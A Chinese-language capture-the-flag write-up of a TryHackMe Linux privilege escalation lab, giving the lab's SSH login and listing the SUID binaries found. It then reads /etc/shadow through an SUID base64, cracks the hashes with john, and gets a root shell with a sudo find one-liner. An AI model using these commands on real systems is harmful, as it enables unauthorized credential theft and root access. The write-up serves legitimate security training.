thm_Linux_Privilege_Escalation_Challenge

信息收集

ssh 连接到 目标机器
您可以通过浏览器访问目标计算机或使用下面的 SSH 凭据。
Username: leonard
Password: Penny123
直接查看 suid 的可执行文件
find / -perm -04000 2>/dev/null

/usr/bin/base64
/usr/bin/ksu
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/Xorg
/usr/bin/mount
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/kde4/kpac_dhcp_helper
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
/usr/libexec/qemu-bridge-helper
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/selinux_child
/usr/libexec/sssd/proxy_child
/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
/usr/libexec/flatpak-bwrap

/usr/bin/base64 带suid的/usr/bin/base64 可以读取 /etc/passwd 和 /etc/shadow

passwd提权

base64 /etc/shadow | base64 --decode
base64 /etc/passwd | base64 --decode

读出来后分别保存在1.txt 和2.txt中
在攻击机器上 unshadow 1.txt 2.txt > 3
直接 john 3 爆破

但是无法爆破出root出来我们可以先登录到 missy用户

sudo提权

登陆到missy先找一波flag1.txt
find / -name flag1.txt 2>/dev/null
找到/home/missy/Documents/flag1.txt
再次进行信息收集sudo -l 看看有什么执行文件有sudo权限
/usr/bin/find 只有一个find 本来还想玩玩 LD_PRELOAD 但发现 没有这个env_keep 可惜…
无所谓 find 命令照样提权

sudo find . -exec /bin/sh \; -quit 

flag2.txt

root 权限下读取
/home/rootflag/flag2.txt